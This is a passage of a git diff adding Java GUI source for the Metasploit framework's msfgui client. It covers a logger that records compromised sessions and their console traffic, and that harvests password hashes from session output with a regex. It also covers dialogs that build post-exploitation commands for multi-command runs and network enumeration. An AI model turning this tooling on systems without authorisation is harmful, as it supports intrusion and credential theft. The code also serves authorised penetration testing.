node; + + if(recentNode == null) + return; + NodeList recentItems = recentNode.getChildNodes(); + int len = recentItems.getLength(); + for(int i = 0; i < len; i++){ + HashMap hash = new HashMap(); + Node recentItem = recentItems.item(i); + + try{ + String moduleType = recentItem.getAttributes().getNamedItem("moduleType").getNodeValue(); + String fullName = recentItem.getAttributes().getNamedItem("fullName").getNodeValue(); + + NodeList recentItemProps = recentItem.getChildNodes(); + int propslen = recentItemProps.getLength(); + for(int j = 0; j < propslen; j++){ + Node prop = recentItemProps.item(j); + String propName = prop.getNodeName(); + String val = prop.getAttributes().getNamedItem("val").getNodeValue(); + hash.put(propName, val); + } + final Object[] args = new Object[]{moduleType, fullName,hash}; + + addRecentModule(args, recentMenu, rpcConn); + }catch(NullPointerException nex){//if attribute doesn't exist, ignore + } + } + } + + /** Clear history of run modules */ + public static void clearHistory(JMenu recentMenu){ + recentList.clear(); + recentMenu.removeAll(); + recentMenu.setEnabled(false); + } + + /** Gets a temp file from system */ + public static String getTempFilename(String prefix, String suffix) { + try{ + final File temp = File.createTempFile(prefix, suffix); + String path = temp.getAbsolutePath(); + temp.delete(); + return path; + }catch(IOException ex){ + JOptionPane.showMessageDialog(null, "Cannot create temp file. This is a bad and unexpected error. What is wrong with your system?!"); + return null; + } + } + + /** Gets a temp folder from system */ + public static String getTempFolder() { + try{ + final File temp = File.createTempFile("abcde", ".bcde"); + String path = temp.getParentFile().getAbsolutePath(); + temp.delete(); + return path; + }catch(IOException ex){ + JOptionPane.showMessageDialog(null, "Cannot create temp file. This is a bad and unexpected error. What is wrong with your system?!"); + return null; + } + } + + /** Returns the likely local IP address for talking to the world */ + public static String getLocalIp(){ + try{ + DatagramSocket socket = new DatagramSocket(); + socket.connect(InetAddress.getByName("1.2.3.4"),1234); + socket.getLocalAddress(); + String answer = socket.getLocalAddress().getHostAddress(); + socket.close(); + return answer; + } catch(IOException ioe){ + try{ + return InetAddress.getLocalHost().getHostAddress(); + }catch (UnknownHostException uhe){ + return "127.0.0.1"; + } + } + } + + public static String cleanBackslashes(String input){ + return backslash.matcher(input).replaceAll("/"); + } + public static String doubleBackslashes(String input){ + return backslash.matcher(input).replaceAll("\\\\\\\\"); + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/MsfguiLog.java b/external/source/gui/msfguijava/src/msfgui/MsfguiLog.java new file mode 100644 index 0000000000..a5fd53499e --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MsfguiLog.java @@ -0,0 +1,228 @@ +package msfgui; + +import java.io.File; +import java.io.FileWriter; +import java.io.IOException; +import java.text.DateFormat; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; +import java.util.regex.Pattern; + +/** + * This class keeps a record of activities taken, sessions run, and + * credentials collected + * @author scriptjunkie + */ +public class MsfguiLog { + final protected Map sessions; // maps session ids to sessions + final protected ArrayList activityLog; // list of strings denoting major activities + final protected DateFormat formatter; + final protected Set hashes; + final protected Pattern hashPattern; + public static MsfguiLog defaultLog; + + /** Sets up default log */ + public static void initDefaultLog(){ + defaultLog = new MsfguiLog(); + } + + /** Creates a new log to be written to a file */ + public MsfguiLog() { + sessions = new HashMap(); + activityLog = new ArrayList(); + hashes = new HashSet(); + formatter = DateFormat.getDateTimeInstance(); + activityLog.add(now()+" msfgui started."); + hashPattern = Pattern.compile("\\w+:[0-9]+:\\w+:\\w+:::"); + } + /** Records hashes in string */ + public void logHashes(String hashString){ + for(String line : hashString.split("\n")) + if(hashPattern.matcher(line).matches()) // we are done. + hashes.add(line); + } + /** Returns a list of hashes. */ + public Set getHashes(){ + return hashes; + } + /** Ensure that a session is recorded in the sessions map */ + public void logSession(Map session){ + if(sessions.get(session.get("id")) != null) + return; + sessions.put(session.get("id"), session); + activityLog.add(now() + " Session "+session.get("id")+" to "+session.get("tunnel_peer")+" opened."); + } + /** See if any sessions have been closed. */ + public void checkSessions(Map sessionsActive){ + for(Object o : sessions.keySet()){ + Map session = (Map)sessions.get(o); + //mark as inactive if we haven't already done so, and it is inactive + if(session.get("inactive") == null && sessionsActive.get(o) == null){ + session.put("inactive", o); + activityLog.add(now() + " Session "+o+" closed."); + } + } + } + /** Logs module runs and console commands */ + public void logMethodCall(String methodName, Object[] params){ + if(methodName.startsWith("session.")){ + try{ + if (methodName.endsWith("_write")) + logConsole(params[0].toString(), new String(Base64.decode(params[1].toString())), true); + else if (methodName.endsWith("_script")) + logConsole(params[0].toString(), "run "+params[1].toString(), true); + }catch (MsfException mex){ + } + }else if (methodName.equals("module.execute")){ + activityLog.add(now() + " "+params[0]+" "+params[1]+" executed with options "+params[2]); + } + } + /** Logs received console data */ + public void logMethodReturn(String methodName, Object[] params, Object result){ + if(!methodName.startsWith("session.") || !methodName.endsWith("_read")) + return; + try{ + String resString = new String(Base64.decode(((Map)result).get("data").toString())); + logConsole(params[0].toString(), resString, false); + logHashes(resString); + }catch (MsfException mex){ + } + } + /** Record console communication */ + public void logConsole(String sessionId, String message, boolean sending){ + Map session = (Map)sessions.get(sessionId); + if(session == null || message.length() == 0) + return; + //if it is multiline, add a line break before + if((message.indexOf('\n') - message.length()) % message.length() != -1) + message = "\n"+message; + ArrayList consoleLog = (ArrayList)session.get("console"); + if(consoleLog == null){ + consoleLog = new ArrayList(30); + session.put("console",consoleLog); + } + if(sending) + consoleLog.add(now() + " >>>" + message); + else + consoleLog.add(now() + " " + message); + } + /** Saves the file and returns where */ + public String save() throws IOException{ //example: /tmp/msfguilog_Jun-9-2010.html + String destination = MsfguiApp.getTempFolder()+File.separator+"msfguilog_" + +(DateFormat.getDateTimeInstance(DateFormat.MEDIUM, DateFormat.MEDIUM).format( + new Date()).replaceAll("[, :]+","-"))+".html"; + save(destination); + return destination; + } + /** Saves the file and returns where */ + public String save(String filename) throws IOException{ + activityLog.add(now()+" msfgui log created."); + FileWriter fout = new FileWriter(filename); + + //Style header + fout.write("\n\n

msfgui

"); + + //Host summary + //Add headers + fout.write("

Hosts

"); + Set sessionsEntrySet = sessions.entrySet(); + if(sessions.isEmpty()){ + fout.write("

None. Go exploit something next time.

"); + }else{ + fout.write("\n"); + ArrayList headers = new ArrayList(); + headers.add("type"); + headers.add("via_exploit"); + headers.add("via_payload"); + headers.add("tunnel_peer"); + headers.add("tunnel_local"); + headers.add("desc"); + fout.write(""); + + HashMap hosts = new HashMap(); + //Map hosts to sessions by IP + for(Object e : sessionsEntrySet){ + Map session = (Map)((Entry) e).getValue(); + String host = session.get("tunnel_peer").toString().split(":")[0]; + Set hostSet = (Set)hosts.get(host); + if(hostSet == null){ + hostSet = new HashSet(); + hosts.put(host, hostSet); + } + hostSet.add(session); + } + fout.write("\n"); + + for(Object e : hosts.entrySet()){ + String key = ((Entry)e).getKey().toString(); + fout.write("\n"); + Set hostSessions = (Set)(((Entry)e).getValue()); + for(Object o : hostSessions){ + Map session = (Map)o; + for(Object var : headers) + fout.write(""); + fout.write("\n"); + } + fout.write(""); + } + fout.write("
hosttypevia_exploitvia_payloadtunnel_peertunnel_localdesc
"+key+""+session.get(var)+"
\n\n"); + }//end hosts + + //Activity log + fout.write("

Activities

\n"); + for(Object o : activityLog) + fout.write("\n"); + fout.write("
"+o.toString()+"
\n\n"); + + //Complete console logs + fout.write("

Session logs

\n"); + for(Object e : sessionsEntrySet){ + Entry ent = (Entry) e; + Object log = ((Map)(ent.getValue())).get("console"); + if(log == null) + continue; + Map session = (Map)ent.getValue(); + fout.write("

Session "+ent.getKey()+"

To " + + session.get("tunnel_peer")+"\n"); + for(Object logEntry : (ArrayList)log){ + String entryString = logEntry.toString(); + + //If has a newline, and it's not at the end, it's multiline - put in
 tags
+				if((entryString.indexOf('\n') - entryString.length()) % entryString.length() != -1)
+					entryString = "
"+entryString+"
"; + if(entryString.contains(">>>")) + fout.write("
\n"); + else + fout.write("\n"); + } + fout.write("
"+entryString+"
"+entryString+"
"); + } + fout.write("\n"); + fout.flush(); + fout.close(); + return filename; + } + + /** Gets localized date and now properly formatted */ + private String now() { + return formatter.format(new Date()); + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/MulticommandOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/MulticommandOptionsDialog.form new file mode 100644 index 0000000000..221e4d028f --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MulticommandOptionsDialog.form @@ -0,0 +1,150 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/MulticommandOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/MulticommandOptionsDialog.java new file mode 100644 index 0000000000..29fe3eedd0 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MulticommandOptionsDialog.java @@ -0,0 +1,184 @@ +package msfgui; + +import javax.swing.JFileChooser; + +/** + * + * @author scriptjunkie + */ +public class MulticommandOptionsDialog extends OptionsDialog { + /** Creates new form UploadexecOptionsDialog */ + public MulticommandOptionsDialog(java.awt.Frame parent) { + super(parent, "Upload Exec Options", true); + initComponents(); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + okButton = new javax.swing.JButton(); + chooseButton = new javax.swing.JButton(); + outputFileField = new javax.swing.JTextField(); + commandFileField = new javax.swing.JTextField(); + commandFileButton = new javax.swing.JButton(); + jScrollPane1 = new javax.swing.JScrollPane(); + commandsArea = new javax.swing.JTextArea(); + jLabel1 = new javax.swing.JLabel(); + jLabel2 = new javax.swing.JLabel(); + + setName("Form"); // NOI18N + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + closeDialog(evt); + } + }); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(MulticommandOptionsDialog.class); + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + chooseButton.setText(resourceMap.getString("chooseButton.text")); // NOI18N + chooseButton.setName("chooseButton"); // NOI18N + chooseButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + chooseButtonActionPerformed(evt); + } + }); + + outputFileField.setText(resourceMap.getString("outputFileField.text")); // NOI18N + outputFileField.setName("outputFileField"); // NOI18N + + commandFileField.setText(resourceMap.getString("commandFileField.text")); // NOI18N + commandFileField.setName("commandFileField"); // NOI18N + + commandFileButton.setText(resourceMap.getString("commandFileButton.text")); // NOI18N + commandFileButton.setName("commandFileButton"); // NOI18N + commandFileButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + commandFileButtonActionPerformed(evt); + } + }); + + jScrollPane1.setName("jScrollPane1"); // NOI18N + + commandsArea.setColumns(20); + commandsArea.setRows(5); + commandsArea.setName("commandsArea"); // NOI18N + jScrollPane1.setViewportView(commandsArea); + + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N + jLabel2.setName("jLabel2"); // NOI18N + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(chooseButton) + .addComponent(commandFileButton) + .addComponent(jLabel1) + .addComponent(jLabel2)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 396, Short.MAX_VALUE) + .addComponent(okButton, javax.swing.GroupLayout.PREFERRED_SIZE, 67, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(commandFileField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 396, Short.MAX_VALUE) + .addComponent(outputFileField, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 396, Short.MAX_VALUE)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(outputFileField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(chooseButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(commandFileField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(commandFileButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 247, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(okButton)) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel2))) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + StringBuilder cmd = new StringBuilder("multicommand "); + if(outputFileField.getText().length() > 0) + cmd.append(" -f \""+MsfguiApp.doubleBackslashes(outputFileField.getText())+"\""); + String commandList = commandsArea.getText(); + if(commandFileField.getText().length() > 0){ + cmd.append(" -rc \""+MsfguiApp.doubleBackslashes(commandFileField.getText())+"\""); + }else if(commandList.length() > 0){ + String [] cmds = commandList.split("\n"); + cmd.append(" -cl "); + for(int i = 0; i < cmds.length; i++){ + cmd.append("\""+MsfguiApp.doubleBackslashes(cmds[i].trim())+"\""); + if (i < cmds.length - 1) + cmd.append(','); + } + } + command = cmd.toString(); + doClose(); + }//GEN-LAST:event_okButtonActionPerformed + + /** Closes the dialog */ + private void closeDialog(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_closeDialog + doClose(); + }//GEN-LAST:event_closeDialog + + private void chooseButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_chooseButtonActionPerformed + if(MsfguiApp.fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) + outputFileField.setText(MsfguiApp.fileChooser.getSelectedFile().getPath()); + }//GEN-LAST:event_chooseButtonActionPerformed + + private void commandFileButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_commandFileButtonActionPerformed + if(MsfguiApp.fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) + commandFileField.setText(MsfguiApp.fileChooser.getSelectedFile().getPath()); + }//GEN-LAST:event_commandFileButtonActionPerformed + + private void doClose() { + setVisible(false); + dispose(); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton chooseButton; + private javax.swing.JButton commandFileButton; + private javax.swing.JTextField commandFileField; + private javax.swing.JTextArea commandsArea; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JButton okButton; + private javax.swing.JTextField outputFileField; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/NetenumOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/NetenumOptionsDialog.form new file mode 100644 index 0000000000..1942027b67 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/NetenumOptionsDialog.form @@ -0,0 +1,173 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/NetenumOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/NetenumOptionsDialog.java new file mode 100644 index 0000000000..42be705150 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/NetenumOptionsDialog.java @@ -0,0 +1,192 @@ +package msfgui; + +import javax.swing.JFileChooser; + +/** + * + * @author scriptjunkie + */ +public class NetenumOptionsDialog extends OptionsDialog { + + /** Creates new form NetenumOptionsDialog */ + public NetenumOptionsDialog(java.awt.Frame parent) { + super(parent, "Netenum options", true); + initComponents(); + } + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + okButton = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + addressField = new javax.swing.JTextField(); + pingBox = new javax.swing.JCheckBox(); + reverseDnsBox = new javax.swing.JCheckBox(); + forwardBox = new javax.swing.JCheckBox(); + mxNsBox = new javax.swing.JCheckBox(); + serviceBox = new javax.swing.JCheckBox(); + jLabel2 = new javax.swing.JLabel(); + domainField = new javax.swing.JTextField(); + fileField = new javax.swing.JTextField(); + chooseButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(NetenumOptionsDialog.class); + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + addressField.setText(resourceMap.getString("addressField.text")); // NOI18N + addressField.setName("addressField"); // NOI18N + + pingBox.setText(resourceMap.getString("pingBox.text")); // NOI18N + pingBox.setName("pingBox"); // NOI18N + + reverseDnsBox.setText(resourceMap.getString("reverseDnsBox.text")); // NOI18N + reverseDnsBox.setName("reverseDnsBox"); // NOI18N + + forwardBox.setText(resourceMap.getString("forwardBox.text")); // NOI18N + forwardBox.setName("forwardBox"); // NOI18N + + mxNsBox.setText(resourceMap.getString("mxNsBox.text")); // NOI18N + mxNsBox.setName("mxNsBox"); // NOI18N + + serviceBox.setText(resourceMap.getString("serviceBox.text")); // NOI18N + serviceBox.setName("serviceBox"); // NOI18N + + jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N + jLabel2.setName("jLabel2"); // NOI18N + + domainField.setText(resourceMap.getString("domainField.text")); // NOI18N + domainField.setName("domainField"); // NOI18N + + fileField.setText(resourceMap.getString("fileField.text")); // NOI18N + fileField.setName("fileField"); // NOI18N + + chooseButton.setText(resourceMap.getString("chooseButton.text")); // NOI18N + chooseButton.setName("chooseButton"); // NOI18N + chooseButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + chooseButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(forwardBox) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(addressField, javax.swing.GroupLayout.DEFAULT_SIZE, 196, Short.MAX_VALUE)) + .addGroup(layout.createSequentialGroup() + .addComponent(pingBox) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(reverseDnsBox)) + .addComponent(mxNsBox) + .addComponent(serviceBox) + .addGroup(layout.createSequentialGroup() + .addComponent(jLabel2) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(domainField, javax.swing.GroupLayout.DEFAULT_SIZE, 292, Short.MAX_VALUE)) + .addGroup(layout.createSequentialGroup() + .addComponent(chooseButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(fileField, javax.swing.GroupLayout.DEFAULT_SIZE, 198, Short.MAX_VALUE)) + .addComponent(okButton, javax.swing.GroupLayout.Alignment.TRAILING)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel1) + .addComponent(addressField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(reverseDnsBox) + .addComponent(pingBox)) + .addGap(18, 18, 18) + .addComponent(mxNsBox) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(serviceBox) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel2) + .addComponent(domainField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(forwardBox) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(fileField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(chooseButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(okButton) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void chooseButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_chooseButtonActionPerformed + if(MsfguiApp.fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) + fileField.setText(MsfguiApp.fileChooser.getSelectedFile().getPath()); + }//GEN-LAST:event_chooseButtonActionPerformed + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + StringBuilder cmd = new StringBuilder("netenum "); + if(addressField.getText().length() > 0) + cmd.append(" -r "+addressField.getText()); + if(pingBox.isSelected()) + cmd.append(" -ps"); + if(reverseDnsBox.isSelected()) + cmd.append(" -rl"); + if(forwardBox.isSelected()) + cmd.append(" -fl"); + if(fileField.getText().length() > 0) + cmd.append(" -hl \""+MsfguiApp.doubleBackslashes(fileField.getText())+"\""); + if(domainField.getText().length() > 0) + cmd.append(" -d "+domainField.getText()); + if(mxNsBox.isSelected()) + cmd.append(" -st"); + if(serviceBox.isSelected()) + cmd.append(" -sr"); + command = cmd.toString(); + setVisible(false); + dispose(); + }//GEN-LAST:event_okButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JTextField addressField; + private javax.swing.JButton chooseButton; + private javax.swing.JTextField domainField; + private javax.swing.JTextField fileField; + private javax.swing.JCheckBox forwardBox; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JCheckBox mxNsBox; + private javax.swing.JButton okButton; + private javax.swing.JCheckBox pingBox; + private javax.swing.JCheckBox reverseDnsBox; + private javax.swing.JCheckBox serviceBox; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.form b/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.form new file mode 100644 index 0000000000..ea71a4406c --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.form @@ -0,0 +1,224 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java b/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java new file mode 100644 index 0000000000..1e3b04d543 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/OpenConnectionDialog.java @@ -0,0 +1,308 @@ +/* + * UserPassDialog.java + * + * Created on May 15, 2010, 12:53:23 PM + */ +package msfgui; +import java.io.File; +import javax.swing.JFileChooser; +import javax.swing.JOptionPane; +import org.w3c.dom.Element; + +/** + * + * @author scriptjunkie + */ +public class OpenConnectionDialog extends javax.swing.JDialog { + MainFrame mainframe; + RpcConnection rpcConn; + + /** Creates new form UserPassDialog */ + public OpenConnectionDialog(boolean modal, MainFrame mainframe) { + super(mainframe.getFrame(), modal); + this.mainframe = mainframe; + initComponents(); + setTitle("msfgui"); + org.jdesktop.application.ResourceMap resourceMap + = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class) + .getContext().getResourceMap(ModulePopup.class); + this.setIconImage(resourceMap.getImageIcon("main.icon").getImage()); + } + + public static RpcConnection getConnection(MainFrame mainframe) { + //try saved connection credentials + try{ + Element info = MsfguiApp.getPropertiesNode(); + String username = info.getAttributeNode("username").getValue(); + String password = info.getAttributeNode("password").getValue(); + String host = info.getAttributeNode("host").getValue(); + int port = Integer.parseInt(info.getAttributeNode("port").getValue()); + return new RpcConnection(username, password.toCharArray(), host, port); + } catch (MsfException mex) { + } catch (NullPointerException nex) {//generated when attributes dont exist. + } + //Darn. open the gui anyway + OpenConnectionDialog diag = new OpenConnectionDialog(true, mainframe); + diag.setVisible(true); + return diag.getConnection(); + } + + public RpcConnection getConnection() { + return rpcConn; + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + titleLabel = new javax.swing.JLabel(); + usernameLabel = new javax.swing.JLabel(); + passwordLabel = new javax.swing.JLabel(); + hostLabel = new javax.swing.JLabel(); + portLabel = new javax.swing.JLabel(); + usernameField = new javax.swing.JTextField(); + passwordField = new javax.swing.JPasswordField(); + hostField = new javax.swing.JTextField(); + portField = new javax.swing.JTextField(); + connectButton = new javax.swing.JButton(); + cancelButton = new javax.swing.JButton(); + startNewButton = new javax.swing.JButton(); + pathButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(OpenConnectionDialog.class); + setTitle(resourceMap.getString("Form.title")); // NOI18N + + titleLabel.setText(resourceMap.getString("titleLabel.text")); // NOI18N + titleLabel.setName("titleLabel"); // NOI18N + + usernameLabel.setText(resourceMap.getString("usernameLabel.text")); // NOI18N + usernameLabel.setName("usernameLabel"); // NOI18N + + passwordLabel.setText(resourceMap.getString("passwordLabel.text")); // NOI18N + passwordLabel.setName("passwordLabel"); // NOI18N + + hostLabel.setText(resourceMap.getString("hostLabel.text")); // NOI18N + hostLabel.setName("hostLabel"); // NOI18N + + portLabel.setText(resourceMap.getString("portLabel.text")); // NOI18N + portLabel.setName("portLabel"); // NOI18N + + usernameField.setText(resourceMap.getString("usernameField.text")); // NOI18N + usernameField.setName("usernameField"); // NOI18N + usernameField.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + usernameFieldActionPerformed(evt); + } + }); + + passwordField.setText(resourceMap.getString("passwordField.text")); // NOI18N + passwordField.setName("passwordField"); // NOI18N + passwordField.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + passwordFieldActionPerformed(evt); + } + }); + + 